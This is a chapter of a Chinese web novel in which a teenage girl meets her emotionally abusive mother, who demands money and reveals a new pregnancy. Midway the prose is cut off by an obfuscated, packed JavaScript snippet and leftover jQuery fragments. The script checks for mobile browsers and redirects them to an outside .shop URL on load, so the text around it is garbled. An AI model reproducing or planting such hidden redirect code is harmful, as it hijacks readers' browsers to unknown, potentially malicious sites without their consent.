文趣网 > 其他小说 > 桃之夭夭 > 29. chapter 29
    “怎么不回我消息?”艾盈的语气有些不耐烦,但倒没有大发雷霆,声音也比平时放小了许多,像是怕吵到别人。

    “我刚刚兼完职,没来及看手机……”陶艾灼紧赶慢赶,总算赶上了最后一班公车,不断喘息着找了个座位,“呼…怎么了妈妈?这么晚有事吗?”

    “你那边怎么这么吵?”艾盈又问,“兼职?钱多吗?不多的别干,浪费时间。”

    “是公交车在启动,”陶艾灼说,“钱的话,还可以,我觉得那家人挺好的……”

    窗外又开始下雨,雨水稀稀拉拉打在车窗上,一滴滴向下滑落,再汇成更大的水滴,最后消失在窗框之下。

    陶艾灼又开始发呆,一只手拿着手机,另一只手放在腿前,让脑袋可以枕在车窗上。

    车子行驶时很不稳档,撞得她脑袋嗡嗡作响,她感觉自己好累,哪里都不舒服,但又不愿意起来,因为只是这样坐着,就好像快要睡着了。

    “陶艾灼?你有在听我讲话吗?”艾盈再次不耐烦,抬高语调埋怨,“我说,后天早上我去找你,还在老地方?”

    后天……?

    “后天是周六,”陶艾灼强迫自己集中注意力,“我要去兼职,妈妈。”

    “抽一会儿功夫给你老娘不行啊?!怎么就生了你这种白眼狼!”艾盈憋了一晚上,是彻底憋不住了,又变成了平时陶艾灼熟悉的艾盈,“后天早上,我给你带东西过去,你现在是不是长高了?以前的衣服穿不了了吧?”

    其实她都好几年不长个了,但艾盈是不可能发现的。

    “还是程阿姨的吗?”陶艾灼突然问,“东西,都是程阿姨给我的?”

    对面的艾盈显然是被问住了,以前陶艾灼从来不会问她这种“显而易见”的问题,而且今天女孩的语气还多了许多陌生的东西,像是在埋怨,埋怨为什么不是她自己买给她的……

    艾盈难得有点尴尬,“啧”了声找补说:“也有我的,你问这些做什么?怎么着,你个小崽子还挑上了?有就不错了!”

    程秋竹是艾盈的旧友,也算同村玩伴,二人年轻时一起到A城打工,后来又一起回到了艾家村,陶艾灼小时候经常去她家串门。

    对了,说起“母爱”,其实还有程秋竹这个人……

    陶艾灼试图回忆女人的样子,应该是留着两条又粗又长的麻花辫,平时干活时会盘在头上,手指很粗,是那种劳动人民才会长出的手指,但长得很漂亮,模样上不输艾盈。

    程秋竹很少说话,也不识字,每天都在捕鱼和干农活。

    程秋竹对她很好,以前每回去家里玩,程秋竹都会领她逛集市,还会给她买棉花糖吃,哪怕后来陶艾灼认祖归宗,程秋竹也经常托艾盈给她送东西。

    自从离开艾家村,陶艾灼已经将近十年没见过程秋竹了。

    “下回能不能也带程阿姨一起来?”陶艾灼说,“我想和她说谢谢。”

    一听亲生女儿想见程秋竹,艾盈是更加不高兴了,几乎可以说是在啐陶艾灼:“你谢个屁啊谢!分不清谁是你亲妈?!再说了,你程姨讨厌进城,你又不是不知道!”

    或许是声音过大,吵醒了屋里人,陶艾灼又听见另一道陌生的男声,说的是F省那边的家乡话,骂骂咧咧道:“你个老娘们,这么晚在和谁打电话?别是在背着我偷汉子?!”

    “你胡说什么呢!净瞎吃飞醋!”

    陶艾灼听见艾盈的声音立刻软了下来,娇嗔道:“谁也不是,估计是诈骗的,我这就给挂了!明天……”

    话音未落,电话便被一通“嘟嘟嘟”声截断,陶艾灼缓慢地眨眼,将手机调成低电量模式,放回了口袋。

    谁也不是……

    被亲妈这样评价,陶艾灼理论上应该想哭才对,但是她实在是哭不出来。

    如果一个人从出生开始,就没有被任何母爱包围过,那她便会理所应当认为这就是“正常”的,艾盈一直是这样,十六年来没有任何改变。

    要怪,还是怪她是个“私生女”吧,陶艾灼想。

    毕竟私生女是没人爱的,她的存在就是原罪,而艾盈不管怎样都给予了她生命,所以她必须要去回馈她。

    只因艾盈是她的妈妈。

    只因她们的体内流着同一种血。

    -

    星期六,陶艾灼准时来到老城区这边的一家破旧的早餐铺。

    艾盈每回来A市看她,都会搭过夜的绿皮火车,经过将近二十个小时,转天早上抵达A城火车站。

    陶艾灼为她准备好早点,挑的都是艾盈平常喜欢的,然而艾盈却没什么胃口,随便吃了几勺便放下了。

    “这是程姨给你带的衣物和吃的。”艾盈把一个大包递给陶艾灼,犹豫了一下,又把另一个小口袋给她。

    陶艾灼打开一看,发现是一面圆形的小镜子,就是镜子的样式有点土,镜框是红色的劣质塑料,镜子背面还有奇怪的宣传照片。

    但陶艾灼还是很开心,或者说是过于开心了。

    她像是收到什么珍宝似的,反反复复看了好几遍,直到艾盈自己都看不下去,翻着白眼泼冷水道:“不就是一面镜子吗?出息,越大越像小孩!你妈难道把你拉扯这么大就容易了?”

    陶艾灼其实很想说,这是艾盈送给她的第一件礼物,但她不认为艾盈听了后会高兴,艾盈只会认为她在责怪她。

    “谢谢妈妈,我很喜欢!”最后,陶艾灼只能选择中规中矩地道谢。

    艾盈觉得不太自在,尤其受不了女孩天真的笑容,还有眼中对她的依赖,仍旧语气尖酸,说:“笑得跟个傻子似的,真丢人,你现在已经是陶家的人了,多学学上流社会的作风,不要老像个没见识的乡巴佬……”

    艾盈每回同她见面,话题都离不开村里镇上的一些八卦绯闻,或者是她近期的生意,又或是她最近受到的委屈,生活有多艰难等等。

    这几年,可能是认为陶艾灼长大了,艾盈也会开始和她说一些“更大人”的话题,比如说找婆家。

    “你以后毕业了,争取找个有钱人直接结婚,他陶平川不是很能耐吗?总不能不给你找个好人家!大学?女孩子家家的,读大学有什么用!你看村里那些姑娘,哪个不是一成年就……”

    陶艾灼最不爱听这些,忍不住回嘴说:“妈,妈,我今年才十六,而且国家有规定,女生的法定结婚年龄是二十!”

    艾盈才不肯听她讲这些“规矩”,在她眼里,女孩到年纪就要赶紧嫁人,她当年费尽心思把陶艾灼送回陶家,不就是为了让陶艾灼有一个上层人的平台,好将来麻雀变凤凰吗!

    艾盈眼珠一转,又说:“我记得你小时候,不是和谢家那个小子玩得挺好?他们谢家是不是也挺厉害?你妈这些年没在A城混,有点跟不上时代了,嘶,是姓谢吧?”

    陶艾灼突然就觉得异常烦躁。

    艾盈为什么要提谢崇之?是想靠着谢家再捞一笔钱?

    艾盈到底把她当什么?把谢家当什么?

    “妈,你不要这么讲话。”陶艾灼皱眉,“毕业后我会去考大学,如果可以,我还会考研究生,我会靠我自己的双手生存,不需要靠任何人……”

    艾盈被她气笑,真没想到一段时间没见,陶艾灼都会顶嘴了!

    “就你?还不靠任何人?不靠任何人你石头蹦出来的啊长这么大?!以前的尿布都是谁洗的?奶都是谁喂的?陶平川吗?还是你喜欢的程秋竹啊?!不靠任何人……”</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17781792|207734||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    艾盈越骂越凶,根本不顾其他人鄙夷的眼光,看起来是要把早年练就的厚黑学践行到底:“要是没有你妈我,你现在还在艾家村喂鸡捞鱼种庄稼呐!还考大学,你连高中都上不了!”

    “……”陶艾灼默默闭上眼。

    是她做错了,她不该妄想和艾盈理论,对不起周围的顾客,在这么吵闹的环境下吃饭,一定心情很不好吧……

    艾盈发完邪火,总算想起这趟来A城的主要目的,清了清嗓子说:“陶平川这个月给你打钱了没?能不能再借我几千?”

    又“借”?

    陶艾灼的眼睛微微睁大,她不是前不久才给过艾盈三千?为此,她足足打了一个月的工呢!

    见陶艾灼有点犹豫,艾盈只好解释:“嗯……是这样,妈妈呢,最近认识了一个叔叔,然后现在……怀孕了。”

    ……怀孕?

    怪不得艾盈都不抽烟了,胃口也没以前好。

    过了许久,陶艾灼才呆愣地问:“多久了?”

    她甚至觉得此时在发声的人不是她自己,因为她的大脑一片空白,像是刚睡醒时的那种抽离感,整个人飘在房间,看着坐在床上,头发杂乱的,和她相像的“生物”,还未完全下定决心面对崭新而无趣的一天。

    “三个多月了吧?顺利的话,估计明年春天就能出生……”艾盈的嘴角居然带上了一点笑意。

    真奇怪,陶艾灼想,她居然在艾盈身上看到了“母爱”这种东西。

    估计是想拉近和女儿的关系,艾盈又道:“你也是春天生的,你说巧不巧?”

    陶艾灼垂着眼点头。

    虽然她内心想的是,不,妈妈,我是夏天生的。

    “但是你也知道,妈妈当年和陶平川的协议上是有明确规定的,一旦妈妈有了新的家庭,这个协议就终止了,所以还得麻烦你先替妈妈保密……”艾盈话锋一转,显得很是为难。

    “啧,一提起他我就来气!真是个又狡猾又抠门的老东西!这几个月也是给得越来越少,说什么你已经过了‘义务教育阶段’,你那个什么国际学校,从头到尾不都是民办的!和义务教育有个屁关系!真当我什么都不懂啊?!”

    陶艾灼觉得头疼,揉着太阳穴说:“妈妈,哪怕是民办,义务教育阶段也是有补贴的,而且你也知道陶平川支付了那么多年高昂的学费,就不要老说他了……”

    艾盈“噌”的一下又要上火:“嘿!你还替他说上话了?!好好好,没想到你陶艾灼还是个势利眼!算我白养你这么多年!”

    “……”

    话是永远也说不通的,这辈子也说不通的。

    陶艾灼想回学校了,她现在格外讨厌周末,因为周末见不到F5,见不到谢崇之。

    艾盈又喝了口水,她的颧骨很高,面相便极为刻薄,上下打量了几下女孩后,她又说:“你最近是不是瘦了?多注意身体,别总生病,生病也别去医院,整天病秧子似的,惹人嫌!”

    陶艾灼不想说话,为了尽早结束对话,直接把刚攒的一千块钱转了过去。

    “目前只有这么多了,”陶艾灼说,“剩下的我之后再想办法攒。”

    艾盈不太满意,但也总比没有要好。

    她挎着不知从哪里淘来的高仿coach包,临走前突然又问陶艾灼:“对了,你们是不是又要开家长会?什么时候来着?”

    陶艾灼动作停顿了下,垂着眼皮说:“已经开完了。”

    “哦,开完了……”艾盈还挺遗憾。

    她本来还想去一趟学校看看,万一能替陶艾灼相中个富家少爷,那她们母女俩,哦不对。

    是她们“一家人”,后半辈子都不用愁了。

    ……